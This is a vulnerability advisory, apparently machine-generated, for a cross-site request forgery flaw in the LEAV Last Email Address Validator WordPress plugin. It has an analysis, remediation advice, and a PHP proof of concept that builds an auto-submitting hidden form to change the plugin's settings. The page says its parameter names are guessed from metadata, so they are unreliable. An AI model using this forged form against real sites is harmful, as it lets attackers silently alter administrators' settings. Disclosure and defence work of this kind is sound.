Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14853: LEAV Last Email Address Validator <= 1.7.1 – Cross-Site Request Forgery to Plugin Settings Update (last-email-address-validator)

CVE ID CVE-2025-14853
Plugin last-email-address-validator
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.7.1
Patched Version —
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14853 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the LEAV Last Email Address Validator WordPress plugin, affecting versions up to and including 1.7.1. The vulnerability allows unauthenticated attackers to modify the plugin’s settings by tricking an administrator into clicking a malicious link. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact of settings modification.

Atomic Edge research identifies the root cause as missing or incorrect nonce validation within the plugin’s `display_settings_page` function. This function likely handles the submission of the plugin’s settings form in the WordPress admin area. The CWE-352 classification confirms the absence of a CSRF token (nonce) check. This conclusion is inferred from the vulnerability description and the CWE, as no source code diff is available for direct confirmation. The plugin fails to verify that a settings update request originates from a legitimate user session.

Exploitation requires an attacker to craft a malicious HTML page or link containing a forged HTTP request. This request targets the WordPress admin endpoint that processes the plugin’s settings updates. A typical attack vector would be a POST request to `/wp-admin/admin-post.php` with an action parameter matching the plugin’s settings update hook, or an AJAX request to `/wp-admin/admin-ajax.php`. The payload would include parameters like `leav_api_key` or `leav_enabled` to alter the plugin’s configuration. The attacker must then induce an authenticated administrator to visit the malicious page.

Remediation requires implementing proper nonce verification. The plugin’s settings update handler must call `check_admin_referer()` or `wp_verify_nonce()` to validate a unique token generated for the admin user’s session. This token should be included in the settings form via `wp_nonce_field()`. The fix ensures that any state-changing request originates from the intended user interface. A capability check (e.g., `current_user_can(‘manage_options’)`) should also be confirmed as present.

The direct impact is unauthorized modification of the plugin’s settings. This could disable the email validation service, change API credentials, or alter operational modes. While this does not directly lead to code execution or data theft, it can disrupt site functionality or enable secondary attacks. For example, disabling validation could allow spam user registrations. The impact is limited to the integrity of the plugin’s configuration.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

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PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14853 - LEAV Last Email Address Validator <= 1.7.1 - Cross-Site Request Forgery to Plugin Settings Update
<?php
/**
 * Proof of Concept for CVE-2025-14853.
 * This script generates a malicious HTML page that forges a request to update the LEAV plugin's settings.
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin uses the admin-post.php endpoint for form submissions.
 * 2. The action parameter is derived from the plugin slug (e.g., 'leav_update_settings').
 * 3. The plugin stores settings as WordPress options.
 * The exact parameter names are inferred and may require adjustment.
 */
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-post.php';
// Common parameter names for a settings update
$malicious_settings = [
    'action' => 'leav_update_settings', // Inferred action hook name
    'leav_enabled' => '0', // Disable the plugin
    'leav_api_key' => 'attacker_controlled_key', // Inject a malicious API key
    'leav_strict_mode' => '0' // Disable strict validation
];
?>
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h2>Please wait...</h2>
<form id="exploit" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
    <?php foreach ($malicious_settings as $name => $value): ?>
        <input type="hidden" name="<?php echo htmlspecialchars($name); ?>" value="<?php echo htmlspecialchars($value); ?>">
    <?php endforeach; ?>
</form>
<script>
    // Auto-submit the form when the page loads
    document.getElementById('exploit').submit();
</script>
</body>
</html>

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